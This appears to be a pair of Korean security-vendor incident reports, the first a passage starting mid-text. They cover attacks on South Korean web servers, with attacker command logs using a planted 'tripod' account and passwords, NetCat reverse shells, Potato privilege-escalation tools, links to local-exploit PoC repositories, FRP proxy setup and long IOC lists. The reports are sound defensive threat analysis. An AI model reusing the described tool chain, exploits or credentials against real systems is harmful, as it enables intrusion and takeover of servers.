시스템들에서 보이는 공통점들 중 하나인데 이는 공격자가 직접 추가한 계정으로 추정된다. 경로명 인자 %ALLUSERSPROFILE%\oracle\java\java.txt tripod “c!!l)0w101” “whoami” %ALLUSERSPROFILE%\oracle\java\java.txt tripod “c!!l)0w101” “query user” %SystemRoot%\debug\wia\wiatrace.log tripod c!!l!0w111 “query user” %SystemRoot%\debug\wia\wiatrace.log tripod ww28win “whoami” %SystemRoot%\debug\wia\wiatrace.log tripod “c)!l(4w096” “query user” %SystemDrive%***pay50\sample\popup_img\bg1.gif tripod “c)!l!2w011” “query user” Table 4. Sy_Runas를 이용해 tripod 계정의 권한을 검사하는 명령 로그 7. 원격 제어 7.1. NetCat 공격자는 WebShell을 이용해 추가 악성코드들을 생성하고 실행하였다. 하지만 이외에도 NetCat을 설치하고 리버스 셸로 사용하였다. 공격에 사용된 C&C 주소는 IP 포맷이지만 실제 위에서 다룬 다운로드 주소 즉 이미 침투해 악성코드를 업로드했던 업체의 주소와 동일하다. Figure 17. NetCat 실행 로그 7.2. Ladon 공격자는 이외에도 공격 과정에서 오픈 소스 해킹 도구인 Ladon을 사용하였다. [12] Ladon은 다음과 같은 깃허브 페이지를 통해서도 알 수 있겠지만 중국어를 기반으로 한 공격자들이 주로 사용하는 도구들 중 하나이다. [13] Ladon은 공격 과정에서 필요한 다양한 기능들을 지원하기 때문에 공격자는 공격 대상 시스템을 장악한 이후 Ladon을 이용해 스캐닝, 권한 상승, 계정 정보 탈취와 같은 다양한 악성 행위를 수행할 수 있다. Figure 18. Ladon 깃허브 페이지 실행 파일 포맷의 Ladon뿐만 아니라 파워셸 포맷인 PowerLadon도 공격에 함께 사용되었다. [14] 공격자는 파워셸 명령을 이용해 이미 침해한 국내 업체의 웹 사이트에서 PowerLadon을 다운로드한 후 badpotato 명령으로 권한 상승이 정상적으로 이루어졌는지를 검사하였다. Figure 19. PowerLoadon 설치 명령 8. 공격 이후 KISA의 보고서에 따르면 공격자는 “CredentialTask”, “CertificateTask”라는 작업을 등록하여 관리자의 퇴근 시간대에 기업의 홈페이지에서 무단 광고 페이지를 노출시켰다. 적어도 2021년 기준 공격자의 최종 목적은 광고 페이지 노출로 수익을 얻는 것이었던 것으로 추정되며 실제 자사 ASD 로그에서도 감염 시스템들 중 해당 작업이 작업 스케줄러에 등록되어 실행되는 로그도 확인된다. Figure 20. 스케줄러에 등록된 CertificateTask 작업 하지만 “5. 지속성 유지” 항목에서 다룬 시스템에서는 지속성 유지를 위한 웹셸 설치 외에 광고가 포함된 웹 페이지로 변경하는 기능이 없는 경우도 존재한다. 또한 특정 시스템에서는 공격자가 Sy_Runas를 이용해 감염 시스템의 볼륨 섀도우 복사본을 제거하는 로그도 확인된다. Figure 21. 볼륨 섀도우 복사본을 삭제하는 명령 로그 이를 보면 공격자의 초기 목적은 무단 광고 노출을 통해 수익을 얻는 것이었지만 최근에는 랜섬웨어 공격과 같은 다른 목적이 존재할 수도 있다는 가능성을 열어준다. 9. 결론 최근 지속적으로 국내 기업들의 웹 서버를 대상으로 하는 APT 공격이 확인되고 있다. 공격자는 최소한 2019년부터 공격을 시작하고 있으며 주로 기업의 홈페이지에 광고를 삽입하는 것을 목적으로 하고 있다. 하지만 최근 확인되는 공격 로그를 보면 랜섬웨어 설치와 같은 다른 목적이 추가되었을 수도 있다. 공격자는 부적절하게 관리되고 있거나 취약점이 패치되지 않은 웹 서버를 공격하여 웹셸을 설치하였다. KISA의 보고서에 따르면 주로 파일 업로드 취약점을 통해 웹셸을 업로드한 것으로 추정되며 이후 권한 상승, 지속성 유지, 자격 증명 정보 탈취 등의 과정을 거쳐 감염 시스템에 대한 제어를 획득하였다. 관리자는 웹 서버에 존재하는 파일 업로드 취약점을 점검하여 초기 침투 경로인 웹셸 업로드를 사전에 막을 수 있도록 해야 한다. 그리고 비밀번호를 주기적으로 변경하고 접근 제어를 설정하여 탈취된 계정 정보를 이용한 측면 이동 공격에 대응해야 한다. 또한 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. 파일 진단 – Dropper/Win32.Agent.C106924 (2011.10.12.00) – Exploit/Win.Agent.C5224192 (2022.08.17.01) – Exploit/Win.Agent.C5404633 (2023.04.04.00) – Exploit/Win.Agent.C5404635 (2023.04.04.00) – Exploit/Win.BadPotato.R508814 (2022.08.04.01) – Exploit/Win.DcomRpc.R554379 (2023.01.28.00) – Exploit/Win.JuicyPotato.C2724641 (2022.08.09.00) – Exploit/Win.JuicyPotato.C5417758 (2023.04.25.01) – Exploit/Win.JuicyPotato.C5417761 (2023.04.25.01) – Exploit/Win.JuicyPotato.C5445175 (2023.06.23.03) – Exploit/Win.JuicyPotato.R495502 (2022.06.03.01) – Exploit/Win.PetitPotato.C5418234 (2023.04.26.00) – Exploit/Win.PetitPotato.C5418237 (2023.04.26.00) – Exploit/Win.PetitPotato.R575177 (2023.04.26.00) – Exploit/Win.PetitPotato.R588349 (2023.06.23.03) – Exploit/Win.Potato.C5444398 (2023.07.29.00) – Exploit/Win.PrintNotifyPotato.C5418245 (2023.04.26.00) – Exploit/Win.PrintNotifyPotato.R561362 (2023.03.10.00) – Exploit/Win.PrintSpoofer.C5404637 (2023.04.04.00) – Exploit/Win.PrintSpoofer.C5445168 (2023.06.23.03) – Exploit/Win.PrintSpoofer.R346208 (2020.07.29.04) – Exploit/Win.PrintSpoofer.R358767 (2020.12.18.06) – Exploit/Win.PrintSpoofer.R456477 (2021.12.07.00) – Exploit/Win.SharpEfsPotato.C5418239 (2023.04.26.00) – Exploit/Win.SharpEfsPotato.C5418240 (2023.04.26.00) – Exploit/Win.SharpEfsPotato.C5418242 (2023.04.26.00) – Exploit/Win.SharpEfsPotato.C5418243 (2023.04.26.00) – Exploit/Win.SweetPotato.C5405993 (2023.04.06.02) – Exploit/Win.SweetPotato.C5418244 (2023.04.26.00) – HackTool/PowerShell.Ladon.SC187629 (2023.04.04.00) – HackTool/Win.Ladon.R442618 (2021.09.25.00) – HackTool/Win.Netcat.C5283500 (2022.10.18.03) – HackTool/Win.RunAs.C4406737 (2021.04.07.03) – HackTool/Win.RunAs.C5404638 (2023.04.04.00) – HackTool/Win.RunAs.C5417759 (2023.04.25.01) – HackTool/Win.RunAs.C5418233 (2023.04.26.00) – HackTool/Win.RunAs.C5445161 (2023.06.23.03) – Malware/Win.Generic.C4432989 (2021.04.22.01) – Trojan/BIN.Generic (2023.07.28.03) – Trojan/CMD.Agent.SC191319 (2023.07.28.03) – Trojan/Win.Agent.C5418231 (2023.04.26.00) – Trojan/Win.Agent.C5418232 (2023.04.26.00) – Trojan/Win.Escalation.R524707 (2022.10.04.02) – Trojan/Win.Generic.C4491018 (2021.05.26.01) – Trojan/Win.Generic.C5228587 (2022.08.27.01) – Trojan/Win.Generic.R529888 (2022.10.15.04) – Trojan/Win.Mimikatz.R563718 (2023.03.16.02) – Trojan/Win.MSILMamut.C5410538 (2023.04.13.01) – Trojan/Win.PrintSpoofer.R597367 (2023.08.12.03) – Trojan/Win.UserClone.C5192153 (2022.07.04.02) – Trojan/Win32.HDC.C111465 (2011.10.19.00) – Trojan/Win32.Mimikatz.R271640 (2019.05.21.05) – Unwanted/Win32.NTSniff_v110 (2005.03.08.00) – WebShell/ASP.Agent.SC191320 (2023.07.28.03) – WebShell/ASP.Generic (2023.01.27.03) – WebShell/ASP.Generic.S1855 (2022.06.22.03) 행위 진단 – Malware/MDP.SystemManipulation.M1471 – Execution/MDP.Powershell.M2514 – CredentialAccess/MDP.Mimikatz.M4367 IOC MD5 WebShell – 612585fa3ada349a02bc97d4c60de784 : D:\***Root_DB\1.aspx – eb1c6004afd91d328c190cd30f32a3d1 : D:\**trust\www\photo_upload..1.aspx, D:\**trust\www\photo_upload\1(0).aspx, E:\****Hotel\upload\thanks\test.asp, C:\***Pay15\source\source.asp Potato (BadPotato) – 9fe61c9538f2df492dff1aab0f90579f : %SystemRoot%\debug\wia\badpotatonet2.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\BadPotatoNet2.exe, %ALLUSERSPROFILE%\BadPotatoNet2.exe – ab9091f25a5ad44bef898588764f1990 : %ALLUSERSPROFILE%\Microsoft\DeviceSync\BadPotatoNet4.exe Potato (EfsPotato) – 9dc87e21769fb2b4a616a60a9aeecb03 : E:\app\Administrator\product\EfsPotato2.0.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\EfsPotato2.0.exe Potato (GodPotato) – 5f3dd0514c98bab7172a4ccb2f7a152d : C:\Oracle\GodPotato-NET2.exe – c7c0e7877388f18a771ec54d18ac56e6 : E:\app\g.exe Potato (JuicyPotato) – 2331a96db7c7a3700eb1da4c730e8119 : %SystemRoot%\debug\WIA\jpms.log – 8e228104d545608e4d77178381324a0b : %SystemRoot%\debug\wia\juicypotatomsmsmsmsms.exe Potato (JuicyPotatoNG) – 7756312d5da2cfb6a4212214b65b0d9a : %ALLUSERSPROFILE%\microsoft\devicesync\createfiber.log – 15aa2aea896511500027c5b970454c10 : %ALLUSERSPROFILE%\usoshared\etwpcreateetwthread1.gif – 72eee0b89c707968fb41083f47739acf : %ALLUSERSPROFILE%\microsoft\devicesync\juicypotatong_ms.exe, %ALLUSERSPROFILE%\USOShared\jpng.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\JuicyPotatoNG_ms.exe, C:\Windows\debug\WIA\JuicyPotatoNG_ms.exe – f530974b0cf773dc2efdff66c2b57e7f : %SystemDrive%\quarantine_mz\registries\1.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\JuicyPotatoNG_ms_ok.exe – 19c5eb467633efb48ceb49db2870de72 : %ALLUSERSPROFILE%\Microsoft\DeviceSync\JuicyPotatoNG.exe, C:\Windows\debug\WIA\JuicyPotato_x64.exe – 0ea582880c53419c8b1a803e19b8ab1f : %ALLUSERSPROFILE%\Microsoft\DeviceSync\EtwpCreateEtwThread.log, %ALLUSERSPROFILE%\USOShared\EtwpCreateEtwThread.log – 8017f161b637cb707e3e667252c2235d : %ALLUSERSPROFILE%\USOShared\j.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\JuicyPotatoNG.exe, %SystemRoot%\debug\WIA\JuicyPotatoNG.exe Potato (PetitPotato) – 659d5c63ae9a1a3c5a33badc53007808 : %SystemDrive%\quarantine_mz\sd2.gif – 9dc62c3a97269f780eb54ebcd43c77a8 : %ALLUSERSPROFILE%\microsoft\devicesync\test.gif – bffe140d2e2a7f44cbe3e3bf9b50f3b5 : %ALLUSERSPROFILE%\microsoft\devicesync\1.exe – d66dfce79df451f797775335fac67e9d : %ALLUSERSPROFILE%\microsoft\devicesync\3.exe – 435351d097dcc253e48b89575a40427c : E:\****check_ASP_N\123.doc – 66379480d44ad92c07f6b5a9dfb3df3d : E:\****check_ASP_N\test.gif – 4875e5a46aec782f7e4cfb2028e6426a : E:\****check_ASP_N\p.gif Potato (PrintNotifyPotato) – fad4ea01a92d0ede3f75d13b1a96238b : %ALLUSERSPROFILE%\PrinterNotifyPotato.exe – 7600f8875fb23a6057354c3426b1db79 : %ALLUSERSPROFILE%\ahnlab\ais\p.log, %ALLUSERSPROFILE%\USOShared\p.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\PrintNotifyPotato2.0.vmp.exe – 98154aeaec8aba3c376c7c76e11a2828 : %ALLUSERSPROFILE%\USOShared\pp.exe Potato (SharpEfsPotato) – 661126f645c5eb261b0651744a17e14b : %ALLUSERSPROFILE%\microsoft\devicesync\20230404.log, %ALLUSERSPROFILE%\ahnlab\ais\v3.log – 63294f453901077fcb62eeb5c84e53d1 : %ALLUSERSPROFILE%\ahnlab\ais\sep_vmp.sln – 69bde490dc173dbed98b2decacd586c4 : %ALLUSERSPROFILE%\ahnlab\ais\result.log – e8e00a5771cafa4fb9294fea549282de : E:\****check_ASP_N\NtQueueApcThreadEx.log – 227df13221db37ab9673ae1af4e6278a : E:\****check_ASP_N\HeapAlloc.jpg, %ALLUSERSPROFILE%\USOShared\h.gif – c9dc55872982efcadba4ce197ba34fbd : E:\****check_ASP_N\pp.gif Potato (SweetPotato) – 021924959a870354cc6c9a54fe7dcf83 : C:\Quarantine_MZ\123.gif, %ALLUSERSPROFILE%\Microsoft\DeviceSync\SweetPotato_4.7.2.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\SweetPotato_4.7.2_original.exe – bcb6dbd50b323ea9a6d8161a7e48f429 : E:\****check_ASP_N\EtwpCreateEtwThread.jpg – a7db0665564b2519ef5eef6627c716db : %ALLUSERSPROFILE%\USOShared\Logs\vmp1.log PrintSpoofer – 7e9125c89d7868f17813ed8c1af2e2c1 : %ALLUSERSPROFILE%\USOShared\PrintSpoofer928.exe, %ALLUSERSPROFILE%\microsoft\devicesync\printspoofer911.exe, %SystemRoot%\debug\wia\printspoofer928.exe, %ALLUSERSPROFILE%\usoshared\logs\vmp2.log, C:\Windows\debug\WIA\p.log – 96b3b2ccb2687a9e2a98ac87a788dda8 : %SystemRoot%\debug\WIA\PrintSpoofer.exe – 108da75de148145b8f056ec0827f1665 : %ALLUSERSPROFILE%\Microsoft\DeviceSync\PrintSpoofer64.exe – 2a74db17b50025d13a63d947d8a8f828 : %ALLUSERSPROFILE%\Microsoft\DeviceSync\PrintSpoofer32.exe – a9b21218f4d98f313a4195a388e3bfbb : C:\Windows\debug\WIA\PrintSpoofer928.exe, C:\Windows\debug\WIA\12.zxz, C:\Windows\debug\WIA\928.exe, %ALLUSERSPROFILE%\AhnLab\AIS\2.log, %ALLUSERSPROFILE%\USOShared\Logs\vmp2.log, %ALLUSERSPROFILE%\USOShared\2.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\PrintSpoofer928.exe, E:\****check_ASP_N\p.log COMahawk (CVE-2019-1405, CVE-2019-1322) – 6a60f718e1ecadd0e26893daa31c7120 : %SystemRoot%\debug\WIA\COMahawk64.exe CVE-2020-0787 – d72412473d31ec655ea88833fe596902 : %SystemRoot%\debug\wia\cve-2020-0787-x64.exe IIS LPE (by k8gege) – 347742caff6fb0f8c397c0a772e29f3f : %SystemRoot%\debug\WIA\716.logs Persistence – aa3a20597084944fdcbe1c3894fd7ab5 : WebShell (SCF1.dat) – bff58f5b6e3229d11b6ffe5b5ea952b5 : Config (SCFConfig.dat) – 9cea04db9defe9e4f723c39a0ca76fb3 : Scheduled Batch (winrmr.cmd) 권한 복사 악성코드 – 95a0ea8e58195d1de2e66ca70ab05fe5 : %SystemDrive%\quarantine_mz\guest.exe – 47ea1e6b805ba9c3f26a39035b3d35a0 : %SystemDrive%\quarantine_mz\folders\guestreg.exe User Clone – 0d341f48a589ef7d42283c0aa2575479 : %ALLUSERSPROFILE%\AhnLab\AIS\1.log, %ALLUSERSPROFILE%\Microsoft\DeviceSync\UserClone912.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\UserClone.exe, C:\Windows\debug\WIA\UserClone.exe – 5fd57ab455c62373e2151f7b46b183d2 : %ALLUSERSPROFILE%\Microsoft\DeviceSync\UserClone9111.exe – 29ad1b38046f5af2fb715c21741e6878 : %ALLUSERSPROFILE%\Microsoft\DeviceSync\UserClone911.exe, C:\Windows\debug\WIA\UserClone911.exe Mimikatz – 3c051e76ba3f940293038a166763a190 : E:\****Hotel\mimikatz.exe, E:\****Hotel\m.gif, C:\Oracle\product\m.exe – e387640e3f911b6b41aa669131fa55d4 : C:\Oracle\product\mz64_ms_all.log, %ALLUSERSPROFILE%\Microsoft\DeviceSync\mz64_ms_all.log – 7353af8af2d7ce6c64018d9618161772 : C:\***\****lus\mz64_ms_all.exe, C:\Windows\debug\WIA\mz64_ms_all.exe RunasCs – 4d04fa35ed26b113bb13db90a7255352 : E:\****Hotel\app\runascs_net2.exe – 09ab2d87eb4d3d8ea752cbe6add18fd2 : E:\****Hotel\app\Runas.exe – 80f5d6191c8cc41864488e2d33962194 : C:\***pay50\sample\sample.html, C:\**Update\bin\Upddater.dll, C:\Windows\debug\WIA\dllhost.exe, C:\***das\FreeLibs\AspUpload\Clash.exe, C:\***\****lus\bin\kcp.dll, C:\***Pay40\source\Clash.exe, C\Windows\debug\WIA\wiatrace.log Sy_Runas – 5a163a737e027dbaf60093714c3a021f : e:\app\sy_runas_.exe, %SystemRoot%\system32\spool\drivers\color\d35.camp, %ALLUSERSPROFILE%\microsoft\devicesync\1.exe – a49d10b6406a1d77a65aa0e0b05154c3 : %ALLUSERSPROFILE%\oracle\java\java.txt, %SystemRoot%\debug\wia\wiatrace.log, C:\Windows\debug\WIA\Sy_Runas.exe – c7c00875da50df78c8c0efc5bedeaa87 : E:\****Hotel\app\sy_runasnew.exe, %ALLUSERSPROFILE%\usoshared\logs\user\notifyicon.000.etl, e:\win64_*****_client\client\stage\services.exe, e:\win64_*****_client\client\stage\setup.exe, e:\****hotel\app\s.exe, e:\****hotel\app\app.asp – e77093c71dc26d0771164cdaa9740e49 : C:\Windows\debug\WIA\wiatrace.log NetCat – 5584853a1191ad601f1c86b461c171a7 : %SystemRoot%\debug\wia\nc1.exe, %SystemDrive%\oracle\product\nc1.exe – e2b4163992da996ca063d329206a0309 : %SystemRoot%\debug\wia\nc.exe – 523613a7b9dfa398cbd5ebd2dd0f4f38 : E:\****check_ASP_N\nc64.exe Ladon (by k8gege) – 2b399abe28dbe11ca928032bea30444a : %SystemRoot%\debug\WIA\Ladon911.exe – 734c96f4def9de44aa6629df285654d9 : %SystemRoot%\debug\WIA\Ladon.exe – 47d59e43e1485feb98ff9c84fc37dc3b : PowerLadon (메모리) 연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.
ASEC 국내 기업 타겟의 FRP(Fast Reverse Proxy) 사용하는 공격 그룹 2022-08-16
최근 외부에 노출된 취약한 서버를 시작으로 하여 침투한 공격자가 내부 네트워크까지 장악하는 침해 사고가 국내 기업들을 대상으로 빈번히 이루어지고 있다. 취약한 Atlassian Confluence 서버를 대상으로 하는 공격 사례 국내 의료기관의 취약한 서버를 대상으로 유포된 미터프리터(Meterpreter) 취약한 MySQL 서버를 대상으로 유포 중인 AsyncRAT 악성코드 이번 사례는 IIS 웹서버나 MS Exchange 서버 침해 사고로 기존에 알려진 유형과 동일하나, 개인이 아닌 특정 공격 그룹으로 추정 되는 사례를 소개하고자 한다. 해당 그룹의 가장 큰 특징을 FRP 오픈소스 도구를 사용 한다는 점이다. 이 그룹은 외부에서 접근 가능한 서버를 찾아 공격하며 침투가 이뤄지면 권한 상승을 시도한다. 이후 더욱 완벽한 접근 제어를 위해 FRP(Fast Reverse Proxy)나 LCX(Htran 이라고 불림) 도구를 설치하는데, 특히 FRP 도구를 주로 사용하였다. 또한 FRP를 설치 시 특정 다운로드 주소를 사용하는데, FRP가 업로드된 다운로드 서버는 국내 기업의 웹 서버로 공격자가 이미 장악한 후 악용 하고 있는 것으로 보인다. 이 밖에도 FRP를 설치 시 특정 파일명을 사용 하거나 또 다른 국내 기업의 서버를 장악해 FRP 사용 시 필요한 중계 서버로서 악용 했다는 점이 특징이다. 현재 침해가 발생한 것으로 추정되는 기업은 반도체 업체, 사출기 업체, 리조트 업체, 건설 업체, 소프트웨어 업체 등 20여 곳으로 공격자는 구체적인 분야를 가리지 않고 공격을 시도 한 것으로 보인다. 특히 이번 케이스는 외부 취약한 서버를 시작으로 최종 단계인 랜섬웨어까지 감염된 사례가 있어 각별한 주의가 필요하다. 1. ASP 웹쉘 취약한 웹서버를 대상으로 하는 공격에는 대부분 웹쉘이 사용된다. 웹쉘은 웹 서버에 업로드되어 파일 탐색이나 시스템 쉘 명령들을 실행할 수 있게 하는 파일로서 공격 대상 시스템에 설치되면 공격자들은 지속성을 유지하면서 감염 시스템을 제어할 수 있다. 웹 서버에 따라 지원하는 언어가 달라지며 그 말은 웹쉘의 언어도 달라지는 것을 의미한다. 예를들어 PHP를 지원하는 아파치 웹 서버에서는 PHP 웹쉘이 사용되며 톰캣과 같은 자바 환경에서는 JSP, IIS 웹 서버는 ASP 및 ASPX로 개발된 웹쉘이 사용된다. 여기에서는 취약한 IIS 웹 서버를 대상으로 공격한 사례를 다루기 때문에 ASPX(ASP) 웹쉘이 공격에 사용되었다. ASPXSpy는 대표적인 ASPX 웹쉘로서 공격자가 다수의 공격에 사용한 이력이 확인된다. i. ASPXSpy ASPXSpy는 비밀번호를 필요로 하기 때문에 설치된 경로에 접속한 후 비밀번호 입력 창에서 정확한 비밀번호를 입력해야 다음과 같은 제어 패널을 사용할 수 있다. (참고로 비밀번호는 MD5 해시 값을 비교해서 검증하는데 위의 웹쉘은 공격자가 비밀번호를 변경한 것으로서 “admin”이 아니다.) 공격자는 이 패널에서 정보 조회, 파일 생성, 프로세스 실행과 같은 다양한 악성 행위를 수행할 수 있다. 2. 권한 상승 업로드된 웹쉘은 IIS 웹 서버 프로세스 즉 w3wp.exe 프로세스에 의해 실행된다. 일반적으로 w3wp.exe 프로세스는 낮은 수준의 권한을 가지고 있기 때문에 정상적인 악성 행위를 수행하기 위해서는 더 높은 권한을 필요로 한다. 이에 따라 공격자들은 다양한 툴들을 이용해 높은 권한을 획득하는 권한 상승 과정이 필요하다. 공격자들은 일반적으로 JuicyPotato, SweetPotato와 같은 악성코드들을 이용했으며, 이외에도 다양한 로컬 권한 상승(LPE : Local Privilege Escalation) 취약점 PoC를 사용한 이력도 확인된다. 여기에서는 권한 상승 단계에서 사용된 각각의 사례에 대해 정리한다. 2.1. Potato 포테이토는 깃허브에 공개된 오픈 소스 권한 상승(Privilege Escalation) 도구이다. 현재 실행 중인 프로세스 계정의 토큰 중 특정 권한(Privilege)을 악용하는 방식으로서 시스템 권한으로 권한을 상승시켜 주는 기능을 제공한다. IIS 웹 서버에서는 w3wp.exe 프로세스가 웹 서비스를 담당하며 MS-SQL 서버에서는 sqlservr.exe 프로세스가 MS-SQL 서비스를 담당한다. 예를 들어 w3wp.exe 프로세스는 IIS Apppool\DefaultAppPool가 주체로 실행되는데 이 경우에는 일반적인 관리자나 표준 사용자 계정과 달리 프로세스 및 파일과 같은 다양한 기능을 수행하기에 제약이 따른다. 즉 공격자들은 웹쉘이나 사전 공격을 통해 해당 프로세스를 제어할 수 있다고 하더라도 적절한 권한이 존재하지 않기 때문에 원하는 악성 행위를 수행할 수 없다. 이를 위해 권한 상승이 필요한데 일반적으로 w3wp.exe 프로세스나 sqlservr.exe 프로세스가 SeAssignPrimaryToken 또는 SeImpersonate 권한을 가지고 있다. 대부분의 포테이토 도구는 이렇게 SeAssignPrimaryToken 또는 SeImpersonate 권한이 활성화된 프로세스 악용하여 시스템 권한 즉 NTAUTHORITY\SYSYEM 계정으로 권한 상승하며, 이에 성공할 경우 공격자는 해당 시스템 내에서 제약 없이 대부분의 악성 행위를 수행할 수 있다. 포테이토 권한 상승 도구는 JuicyPotato, RoguePotato, RottenPotato 등 여러 종류가 있다. 하지만 국내에서 확인된 대부분 사례의 경우 세 가지 종류의 포테이토 도구를 사용되었다. Potato 종류 MD5 JuicyPotato 0311ee1452a19b97e626d24751375652 808502752ca0492aca995e9b620d507b 4bafbdca775375283a90f47952e182d9 BadPotato 9fe61c9538f2df492dff1aab0f90579f ab9091f25a5ad44bef898588764f1990 87e5c9f3127f29465ae04b9160756c62 SweetPotato fd0f73dd80d15626602c08b90529d9fd 937435bbcbc3670430bb762c56c7b329 [표 1] 공격에 사용된 Potato 도구 2.2. 취약점 (익스플로잇) 공격자들은 Potato 유형의 악성코드들 외에도 깃허브에 공개되어 있는 다양한 권한 상승 취약점(LPE : Local Privilege Escalation) PoC들을 이용한다. 다음은 공격에 사용된 취약점들과 각각의 취약점을 악용하는 PoC 악성코드들의 목록이다. 취약점 유형 MD5 비고 CVE-2018-8440 LPE 4c56462a3735dba9ee5f132f670e3fb1 https://github.com/alpha1ab/Win2016LPE CVE-2019-1405 + CVE-2019-1322 LPE 2e2ddfd6d3a10d5dd51f8cbdeaeb4b75 6a60f718e1ecadd0e26893daa31c7120 https://github.com/apt69/COMahawk CVE-2021-1675 LPE e81a9b194cf1bcd4f1bbf21338840ece https://github.com/evilashz/CVE-2021-1675-LPE-EXP CVE-2021-1732 LPE d406d8889dc1f2d51954808f5587415d ed1762b09d0a966d7a2d6c9167ea5499 https://github.com/KaLendsi/CVE-2021-1732-Exploit CVE-2021-36934 LPE 055cc4c30260884c910b383bb81cf7c8 https://github.com/GossiTheDog/HiveNightmare CVE-2021-40449 LPE b08b660ed646c390d5a254070123c74c https://github.com/ly4k/CallbackHell CVE-2022-21882 LPE 018dd881f5bf9181b70f78d7d38bd62a https://github.com/sailay1996/cve-2022-21882-poc CVE-2022-21999 LPE 31eb70dc11af05ec4d5cda652396970c b77e3a7e13e39829383fabf436e9c8f2 (Payload) https://github.com/ly4k/SpoolFool [표 2] 공격에 사용된 취약점 PoC 악성코드들 다음은 CVE-2021-1732 취약점을 이용해 권한 상승하는 PoC이다. 권한 상승 이후 인자로 전달받은 whoami를 실행하며 그 결과 시스템 계정으로 권한 상승에 성공한 것을 알 수 있다. 다음은 CVE-2022-21999 PoC로서 권한 상승 이후 지정한 DLL을 로드하여 악성코드를 실행시킬 수 있다. 공격에 사용된 DLL은 PoC와 동일한데, DLL은 admin 계정을 생성하고 비밀번호를 Passw0rd! 로 설정하는 기능을 한다. 공격자는 추후 이렇게 등록된 계정으로 원격 접속하여 감염 시스템을 장악할 수 있다. 3. 프록시 & 포트 포워딩 3.1. FRP FRP(Fast Reverse Proxy)의 기본적인 용도는 직접 통신할 수 없는 인트라넷 PC에 외부에서 접근 가능하도록 중계기 및 서버를 구성하는 오픈소스 도구다. 기업은 네트워크 구성 시 일부 서버를 제외하고 망을 분리하거나 방화벽을 사용해 외부에서 직접 접근하기 어렵도록 설계하기 때문에, 사용자는 내부망 PC와 직접 RDP 통신 원할 시 FRP와 같은 프로그램을 사용해야 한다. 그러나 공격자들은 이러한 목적보다 기업의 공격 대상 PC(Victim)에 자신의 주소를 남기지 않기 위해 해당 도구를 빈번히 사용하고 있다. Frp는 크게 Frps와 Frpc 2가지로 나뉜다. Frps는 중간 서버에 설치되는 파일로 공격자와 공격 대상의 연결을 맺어주는 역할을 수행하며, 설정에는 ‘Frps.ini’를 참조하며 사용자 임의대로 설정할 수 있다. 이는 연결 포트 및 로깅 방법 등을 결정한다. 따라서 Frps는 공격자와 공격 대상 PC, 모두가 접근 가능한 중계 서버에 설치되어야 한다. Frpc는 공격자가 공격하려는 대상 PC에 설치되는 파일로, 설정에는 Frps 설정 방법과 마찬가지로 ‘Frpc.ini’를 통해 TCP나 UDP, HTTP 등 공격자가 사용할 네트워크 통신 방법과 Frps에 사용될 포트 번호(remote_port)와 실제 포트 번호(local_port) 등을 사용자 임의대로 설정할 수 있다. 악용되는 경우 보통 외부에서 직접 연결이 어려운 NAT 환경의 기업 PC에 설치된다. FRP 연결 과정은 다음과 같다. 위 그림으로 살펴보면, 우선 Frps.exe를 중계기에 설치한다. Frps.exe는 Frps.ini 설정 파일을 참조해 Frpc.exe가 접근할 수 있도록 연결 포트(7000번)를 오픈하고 연결을 기다린다. 이후 공격 대상 PC에 설치되어 있는 Frpc.exe를 실행시켜 중계기(Frps.exe)와 연결을 시도하는데, 이는 공격자와 공격 대상 PC를 간접적으로 연결하기 위해 Reverse Proxy 방식을 사용한다. 중계기와 공격 대상 PC가 연결이 완료되면 공격자는 특정 프로토콜(RDP)로 중계기의 특정 포트(23389번)에 연결을 시도한다. 중계기는 특정 포트(23389번)를 모니터링하다 연결이 확인되면 해당 데이터를 연결 포트(7000번)를 통해 공격 대상 PC에 전달한다. 이후 데이터를 받은 공격 대상 PC에선 해당 프로토콜(RDP)에 맞는 로컬 포트(3389번)에 포워드하여 작업을 완료한다. 따라서 다음과 같이 연결이 가능하다. 공격자들의 FRP 주 사용 목적은 1) ‘원격 데스크톱 연결’과 2) ‘공격자 IP 은닉’ 두 가지로 추정된다. 원격 데스크톱 연결이란 윈도우에서도 기본적으로 지원하는 도구로, RDP 통신을 이용해 원격지 서버에 직접 사용하는 것처럼 연결하는 방법을 말한다. 따라서 이러한 통신이 이뤄지게 되면 해당 PC와 네트워크 장비에는 공격자들의 IP가 로그에 남게 된다. 하지만 FRP를 사용하게 되면 공격자는 중계기에 연결하여 공격 대상 PC를 조작하기 때문에 침해사고 조사 시에도 공격 대상 PC에서는 공격자의 IP를 찾을 수 없다. 공격자는 보통 중계기 위치를 국내 기업 서버 또는 해외 호스팅 서버 등으로 설정한다. 특히 국내 기업 서버의 경우 이미 침해사고가 발생한 서버를 악용한 것으로, 공격자가 특 기업의 PC에 접근 시 중계기는 국내 IP이기 때문에 발각될 염려가 줄어든다. 따라서 공격자들은 직접 접근이 가능한 기업 PC라도 해당 환경에 Frpc를 설치한 뒤, 국내 또는 해외에 위치한 중계기 서버(Frps)를 통해 RDP 통신을 수행한다. FRP를 사용한 특정 공격 그룹은 다음과 같은 특징을 가지고 있다. 1) 동일한 Frpc 파일 이름 사용 및 파일 경로 2) 국내 기업의 Frpc 다운로드 URL 주소 3) 국내 기업의 서버를 중계기(Frps) 서버로 사용 우선 국내 침해 기업에서 확인된 Frpc 설치 경로이다. %ALLUSERSPROFILE%\update.exe %ALLUSERSPROFILE%\info.zip %ALLUSERSPROFILE%\f.zip %ALLUSERSPROFILE%\t.zip %ALLUSERSPROFILE%\frpc.exe %SystemDrive%\perflogs\update.exe %SystemDrive%\temp\update.exe %SystemDrive%\temp\info.zip %SystemRoot%\temp\frpc.exe [표 3] 공격자가 자주 사용한 Frpc.exe의 다운로드 경로 위 [표 3]의 붉은색의 경우 많은 기업에서 공통으로 확인된 파일명으로, 특정 그룹의 공격자들은 주로 Frpc 파일을 